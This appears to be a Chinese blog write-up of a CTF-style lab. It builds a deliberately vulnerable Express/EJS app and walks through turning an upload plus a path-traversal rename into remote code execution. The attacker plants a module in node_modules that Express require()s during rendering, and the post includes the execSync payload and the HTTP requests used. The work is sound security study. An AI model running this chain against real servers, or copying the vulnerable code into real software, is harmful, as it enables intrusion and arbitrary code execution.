ejs模板引擎玩法学习

前言

看了参考文章,看起来是文件上传+模板可控的玩法,简单来说就是先上传含JavaScript代码的文件,在ejs解析模板时完成代码注入执行。


环境搭建

首先创建一个NodeJS项目,安装一下所需依赖:

1
2
3
4
5
npm init
npm install express
npm install ejs
npm install express-session
npm install multer

然后在目录下新建uploads和views两个目录,并在views目录下新建两个ejs模板文件login.ejs:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>login</title>
</head>
<body>
<form action="/login" enctype="application/x-www-form-urlencoded" method="post">
<input type="text" name="username" value="username">
<input type="text" name="password" value="password">
<button type="submit">submit</button>
</form>
</body>
</html>

和upload.ejs:

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>upload</title>
<body>
<form accept="/upload" enctype="multipart/form-data" method="post">
<input type="file" name="fileInput" id="file">
<button type="submit" name="submit">submit</button>
</form>
</body>
</html>

然后新建index.js项目主代码文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
// 导入必要的模块
const express = require('express'); // Express web framework
const ejs = require('ejs'); // Embedded JavaScript templates
const session = require('express-session'); // Session middleware for Express
const bodyParse = require('body-parser'); // Middleware for parsing HTTP request bodies
const multer = require('multer'); // Middleware for handling multipart/form-data
const fs = require('fs'); // File system module
const path = require("path"); // Path module

// 创建目录以确保文件路径存在
function createDirectoriesForFilePath(filePath) {
const dirname = path.dirname(filePath);
fs.mkdirSync(dirname, { recursive: true });
}

// 检查用户是否登录的中间件
function IfLogin(req, res, next) {
if (req.session.user != null) {
next();
} else {
res.redirect('/login');
}
}

// 设置 Multer 存储引擎
const storage = multer.diskStorage({
destination: function (req, file, cb) {
cb(null, path.join(__dirname, 'uploads')); // 设置上传文件的目标目录
},
filename: function (req, file, cb) {
cb(null, file.originalname); // 使用原始文件名作为上传后的文件名
}
});

// 配置 Multer 上传中间件
const upload = multer({
storage: storage, // 使用自定义存储选项
fileFilter: (req, file, cb) => {
const fileExt = path.extname(file.originalname).toLowerCase();
if (fileExt === '.ejs') {
// 如果文件后缀为 .ejs,则拒绝上传该文件
return cb(new Error('Upload of .ejs files is not allowed'), false);
}
cb(null, true); // 允许上传其他类型的文件
}
});

// 定义管理员账户
const admin = {
"username": "ADMIN",
"password": "123456"
};

// 初始化 Express 应用
const app = express();
// 静态文件服务和中间件配置
app.use(express.static(path.join(__dirname, 'uploads')));
app.use(express.json());
app.use(bodyParse.urlencoded({ extended: false }));
app.set('view engine', 'ejs');
app.use(session({
secret: 'Can_U_hack_me?',
resave: false,
saveUninitialized: true,
cookie: { maxAge: 3600 * 1000 }
}));

// 路由定义
app.get('/', (req, res) => {
res.redirect('/login');
});

app.get('/login', (req, res) => {
res.render('login');
});

app.post('/login', (req, res) => {
const { username, password } = req.body;
if (username === 'admin') {
return res.status(400).send('you can not be admin');
}
const new_username = username.toUpperCase();
if (new_username === admin.username && password === admin.password) {
req.session.user = "ADMIN";
res.redirect('/rename');
} else {
res.redirect('/login');
}
});

app.get('/upload', (req, res) => {
res.render('upload');
});

//中间件过滤 'fileInput' 是 HTML 表单中 <input type="file"> 的 name 属性值,Multer 将根据这个值来识别上传的文件。
app.post('/upload', upload.single('fileInput'), (req, res) => {
if (!req.file) {
return res.status(400).send('No file uploaded');
}
res.send('File uploaded successfully: ' + req.file.originalname);
});

app.get('/render', (req, res) => {
const { filename } = req.query;
if (!filename) {
return res.status(400).send('Filename parameter is required');
}
const filePath = path.join(__dirname, 'uploads', filename);
if (filePath.endsWith('.ejs')) {
return res.status(400).send('Invalid file type.');
}
//漏洞点:将文件内容渲染到页面中
res.render(filePath);
});

app.get('/rename', IfLogin, (req, res) => {
//admin检查
if (req.session.user !== 'ADMIN') {
return res.status(403).send('Access forbidden');
}
const { oldPath, newPath } = req.query;
if (!oldPath || !newPath) {
return res.status(400).send('Missing oldPath or newPath');
}
if (newPath && /app\.js|\\|\.ejs/i.test(newPath)) {
return res.status(400).send('Invalid file name');
}
if (oldPath && /\.\.|flag/i.test(oldPath)) {
return res.status(400).send('Invalid file name');
}
const new_file = newPath.toLowerCase();
const oldFilePath = path.join(__dirname, 'uploads', oldPath);
const newFilePath = path.join(__dirname, 'uploads', new_file);
if (newFilePath.endsWith('.ejs')) {
return res.status(400).send('Invalid file type.');
}
if (!oldPath) {
return res.status(400).send('oldPath parameter is required');
}
if (!fs.existsSync(oldFilePath)) {
return res.status(404).send('Old file not found');
}
if (fs.existsSync(newFilePath)) {
return res.status(409).send('New file path already exists');
}
createDirectoriesForFilePath(newFilePath)
fs.rename(oldFilePath, newFilePath, (err) => {
if (err) {
console.error('Error renaming file:', err);
return res.status(500).send('Error renaming file');
}
res.send('File renamed successfully');
});
});

// 启动服务器
app.listen('3000', () => {
console.log(`http://localhost:3000`);
});

测试环境搭建完成,接下来简单捋一下代码逻辑,无关紧要的登录部分直接跳过。

文件上传与重命名

首先是文件上传功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 设置 Multer 存储引擎
const storage = multer.diskStorage({
destination: function (req, file, cb) {
cb(null, path.join(__dirname, 'uploads')); // 设置上传文件的目标目录
},
filename: function (req, file, cb) {
cb(null, file.originalname); // 使用原始文件名作为上传后的文件名
}
});

// 配置 Multer 上传中间件
const upload = multer({
storage: storage, // 使用自定义存储选项
fileFilter: (req, file, cb) => {
const fileExt = path.extname(file.originalname).toLowerCase();
if (fileExt === '.ejs') {
// 如果文件后缀为 .ejs,则拒绝上传该文件
return cb(new Error('Upload of .ejs files is not allowed'), false);
}
cb(null, true); // 允许上传其他类型的文件
}
});

上传文件放置在uploads目录下,但是限制了上传文件的后缀名,因此不能直接上传ejs模板文件。

文件上传后,还存在将上传文件重命名的功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const { oldPath, newPath } = req.query;
...
const new_file = newPath.toLowerCase();
const oldFilePath = path.join(__dirname, 'uploads', oldPath);
const newFilePath = path.join(__dirname, 'uploads', new_file);
...
createDirectoriesForFilePath(newFilePath)
fs.rename(oldFilePath, newFilePath, (err) => {
if (err) {
console.error('Error renaming file:', err);
return res.status(500).send('Error renaming file');
}
res.send('File renamed successfully');
});

存在以下几种限制:

  • 无法覆盖app.js
  • 无法将flag转移到web可读目录
  • 无法重命名为ejs文件

但是重命名路径没有限制使用../跳转目录,所以仍然存在目录穿越的可能,比如将上传文件重命名到node_modules目录下假装为一个nodejs模块。

模板解析

关键点在于render,可以指定渲染模板:

1
2
3
4
5
6
7
8
9
10
const { filename } = req.query;
if (!filename) {
return res.status(400).send('Filename parameter is required');
}
const filePath = path.join(__dirname, 'uploads', filename);
if (filePath.endsWith('.ejs')) {
return res.status(400).send('Invalid file type.');
}
//漏洞点:将文件内容渲染到页面中
res.render(filePath);

文件路径前缀被设置为了uploads目录,没有限制../可以进行目录穿越,但是上传文件和重命名文件都不能是ejs,所以需要绕一点路。

随便输入一个文件名比如twings.test做测试,可以看到报错:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Error: Cannot find module 'test'
Require stack:
- D:\js\ejs_render\node_modules\express\lib\view.js
- D:\js\ejs_render\node_modules\express\lib\application.js
- D:\js\ejs_render\node_modules\express\lib\express.js
- D:\js\ejs_render\node_modules\express\index.js
- D:\js\ejs_render\index.js
at Function.Module._resolveFilename (internal/modules/cjs/loader.js:815:15)
at Function.Module._load (internal/modules/cjs/loader.js:667:27)
at Module.require (internal/modules/cjs/loader.js:887:19)
at require (internal/modules/cjs/helpers.js:74:18)
at new View (D:\js\ejs_render\node_modules\express\lib\view.js:81:14)
at Function.render (D:\js\ejs_render\node_modules\express\lib\application.js:587:12)
at ServerResponse.render (D:\js\ejs_render\node_modules\express\lib\response.js:1048:7)
at D:\js\ejs_render\index.js:113:9
at Layer.handle [as handle_request] (D:\js\ejs_render\node_modules\express\lib\router\layer.js:95:5)
at next (D:\js\ejs_render\node_modules\express\lib\router\route.js:149:13)

看起来输入的twings.test并不是被当作一个文件名来处理,而是一个看起来像是文件名+模块名的组合,具体含义还得往下看,根据追踪一下调用流程,render路由渲染模板时,首先来到response.js中定义的render方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
res.render = function render(view, options, callback) {
var app = this.req.app;
var done = callback;
var opts = options || {};
var req = this.req;
var self = this;

// support callback function as second arg
if (typeof options === 'function') {
done = options;
opts = {};
}

// merge res.locals
opts._locals = self.locals;

// default callback to respond
done = done || function (err, str) {
if (err) return req.next(err);
self.send(str);
};

// render
app.render(view, opts, done);
};

view即待解析的模板文件名twings.test,这里看起来没什么特殊的地方,下一步到application.js定义的render方法,该方法在不存在模板解析缓存时会创建模板,创建模板的关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// view
if (!view) {
var View = this.get('view');

view = new View(name, {
defaultEngine: this.get('view engine'),
root: this.get('views'),
engines: engines
});

if (!view.path) {
var dirs = Array.isArray(view.root) && view.root.length > 1
? 'directories "' + view.root.slice(0, -1).join('", "') + '" or "' + view.root[view.root.length - 1] + '"'
: 'directory "' + view.root + '"'
var err = new Error('Failed to lookup view "' + name + '" in views ' + dirs);
err.view = view;
return done(err);
}

// prime the cache
if (renderOptions.cache) {
cache[name] = view;
}
}

name即待解析的模板文件名twings.test,这里会使用name实例化一个新的View对象,看看View类的构造函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
  this.ext = extname(name);
...
if (!this.ext) {
// get extension from default engine name
this.ext = this.defaultEngine[0] !== '.'
? '.' + this.defaultEngine
: this.defaultEngine;

fileName += this.ext;
}

if (!opts.engines[this.ext]) {
// load engine
var mod = this.ext.slice(1)
debug('require "%s"', mod)

// default engine export
var fn = require(mod).__express

if (typeof fn !== 'function') {
throw new Error('Module "' + mod + '" does not provide a view engine.')
}

opts.engines[this.ext] = fn
}
// store loaded engine
this.engine = opts.engines[this.ext];

通过extname函数获取了模板文件的后缀名,而如果后缀名不存在比如输入为twings,就会以默认的ejs后缀名进行后面的模板引擎加载,导致的错误就会变成模板文件不存在:

1
Error: Failed to lookup view "D:\js\ejs_render\uploads\twings" in views directory "D:\js\ejs_render\views"

而如果输入的是twings.test,那么后缀名的test就会被当作模板类型,express框架就会尝试使用require方法加载名为test的模块,就会因为模块不存在报错。

从模块中加载导出函数保存到engine成员后,后续会经过tryRender方法进行调用:

1
2
3
4
View.prototype.render = function render(options, callback) {
debug('render "%s"', this.path);
this.engine(this.path, options, callback);
};

配合文件重命名功能,实际玩法就是将上传文件伪造成node_modules下的模块进行代码注入执行,代码还很贴心的提供了重命名文件的同时创建不存在目录的功能。

首先模块中的导出函数会被执行,所以可以写一个导出函数给他调用:

1
2
3
exports.__express = function () {
console.log(require('child_process').execSync("calc.exe"));
}

上传文件后通过重命名功能移动到node_modules目录下:

1
2
3
GET /rename?oldPath=twings.test&newPath=../node_modules/test/index.js HTTP/1.0
Host: localhost:3000
Cookie: connect.sid=s%3AMSA2OneDZFb2uX-mapPf6GDPoem_CDII.dTasJ1aeP3%2ByXrMgJPzUPj4%2BVSmM34QzJk9O2Zw3WM4

由于此时上传文件已经被移动走,直接访问render会因为文件路径不存在报错,所以需要先再上传一次文件,然后render一下就行:

1
2
3
GET /render?filename=twings.test HTTP/1.0
Host: localhost:3000
Cookie: connect.sid=s%3AMSA2OneDZFb2uX-mapPf6GDPoem_CDII.dTasJ1aeP3%2ByXrMgJPzUPj4%2BVSmM34QzJk9O2Zw3WM4

更直接一点的思路就是利用require相当于文件包含然后代码执行的原理,直接在上传文件里面写命令执行代码就行:

1
console.log(require('child_process').execSync("calc.exe"));

参考

对ejs引擎漏洞及函数特性的利用


ejs模板引擎玩法学习
http://yoursite.com/2024/08/13/ejs模板引擎玩法学习/
作者
Aluvion
发布于
2024年8月13日
许可协议